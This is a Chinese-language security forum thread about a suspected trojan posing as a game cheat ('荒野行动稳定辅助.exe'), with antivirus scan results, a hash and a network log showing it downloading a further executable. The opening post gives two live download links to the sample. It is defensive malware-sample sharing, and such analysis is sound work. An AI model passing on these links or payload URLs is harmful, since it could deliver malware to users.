我朋友中了類似木馬東西 ,但是他的檔名是荒野行动稳定辅助.exe

a7878330

我不知這個程式是否木馬,但是我朋友電腦越跑越慢,還好幫他刪掉了這個疑似木馬的
但是不知是誰做的這個程式,呵呵
載點1:http://www.funp.net/908783
載點2:https://www.sendspace.com/file/g4od91

www-tekeze

火绒、智量占楼。。。

火绒miss，智量kill 。

a7878330

www-tekeze 发表于 2018-10-2 20:32
火绒、智量占楼。。。

火绒miss，智量kill 。

這個木馬的具體行為 我初步檢測  他會下載某一個網站程式

a7878330

www-tekeze 发表于 2018-10-2 20:32
火绒、智量占楼。。。

火绒miss，智量kill 。

這個病毒會連到哪國家??

歌德塔大蜘蛛

avast     Win32:Evo-gen[Susp]

天道酬善

EES V7
日志
正在扫描日志
检测引擎的版本: 18134 (20180929)
日期: 2018-10-02  时间: 20:57:48
已扫描的磁盘、文件夹和文件: G:\种子\zip
G:\种子\zip > ZIP > 木馬/荒野行动稳定辅助.exe > UPX v13_m14 - Win32/TrojanDownloader.Agent.CFM 特洛伊木马 的变种 - 已删除
已扫描的对象数: 1
发现的威胁数: 1
已清除对象数: 1
完成时间: 20:57:52  总扫描时间: 4 秒 (00:00:04)

Jerry.Lin

1. VirusTotal Smart Scanner 1.06
   
2. 
   
3. ======================================================================================
   
4. Scan Time:                    2018-10-02-21-26-44
   
5. Scan Duration:                7 seconds
   
6. Scan Target:                  C:\Users\zhong\Downloads\Compressed\VIRUS TEST\卡饭\1 (2)\木馬
   
7. Number of Scan Files:         1
   
8. Number of Infected Files:     1
   
9. 
   
10. engine_threshold_slider       : 80
    
11. upload_check                  : True
    
12. log_check                     : True
    
13. menu_check                    : True
    
14. scan_pe_check                 : True
    
15. grayware_check                : True
    
16. rescan_check                  : False
    
17. black_check                   : True
    
18. white_check                   : True
    
19. crawler_check                 : True
    
20. ======================================================================================
    
21. 
    
22. Threat(s):
    
23. Backdoor.Generic                sha256: 27f81cbe0bdffbebf4ac4f36337e48a9d5b5567bc7a9f1ec7356210cd6ff42a8    Path: C:\Users\zhong\Downloads\Compressed\VIRUS TEST\卡饭\1 (2)\木馬\荒野行动稳定辅助.exe
    

复制代码

275751198

我猜是挖矿

BE_HC

Norton Kill

BE_HC

观察到以下网络连接：----------
developer.lanzous.com/405878/4227654?1538482284

protocol:(TCP)0
cmd:'GET'
datalen:154

----------
xc.mieseng.com/down/%E8%8D%92%E9%87%8E%E8%A1%8C%E5%8A%A8%E7%A8%B3%E5%AE%9A%E8%BE%85%E5%8A%A9.zip@667_4227654.exe


protocol:(TCP)0
cmd:'GET'
datalen:224

----------
IP:110.88.223.250

protocol:(TCP)0
datalen:154
data:
00000000: 47 45 54 20 2F 34 30 35 38 37 38 2F 34 32 32 37 ; GET /405878/4227
00000010: 36 35 34 3F 31 35 33 38 34 38 32 32 38 34 20 48 ; 654?1538482284 H
00000020: 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 ; TTP/1.1..User-Ag
00000030: 65 6E 74 3A 20 4D 6F 7A 69 6C 6C 61 2F 34 2E 30 ; ent: Mozilla/4.0
00000040: 20 28 63 6F 6D 70 61 74 69 62 6C 65 29 0D 0A 48 ;  (compatible)..H
00000050: 6F 73 74 3A 20 64 65 76 65 6C 6F 70 65 72 2E 6C ; ost: developer.l
00000060: 61 6E 7A 6F 75 73 2E 63 6F 6D 0D 0A 43 61 63 68 ; anzous.com..Cach
00000070: 65 2D 43 6F 6E 74 72 6F 6C 3A 20 6E 6F 2D 63 61 ; e-Control: no-ca

----------
IP:114.55.188.114

protocol:(TCP)0
datalen:224
data:
00000000: 47 45 54 20 2F 64 6F 77 6E 2F 25 45 38 25 38 44 ; GET /down/%E8%8D
00000010: 25 39 32 25 45 39 25 38 37 25 38 45 25 45 38 25 ; %92%E9%87%8E%E8%
00000020: 41 31 25 38 43 25 45 35 25 38 41 25 41 38 25 45 ; A1%8C%E5%8A%A8%E
00000030: 37 25 41 38 25 42 33 25 45 35 25 41 45 25 39 41 ; 7%A8%B3%E5%AE%9A
00000040: 25 45 38 25 42 45 25 38 35 25 45 35 25 38 41 25 ; %E8%BE%85%E5%8A%
00000050: 41 39 2E 7A 69 70 40 36 36 37 5F 34 32 32 37 36 ; A9.zip@667_42276
00000060: 35 34 2E 65 78 65 20 48 54 54 50 2F 31 2E 31 0D ; 54.exe HTTP/1.1.
00000070: 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F 7A ; .User-Agent: Moz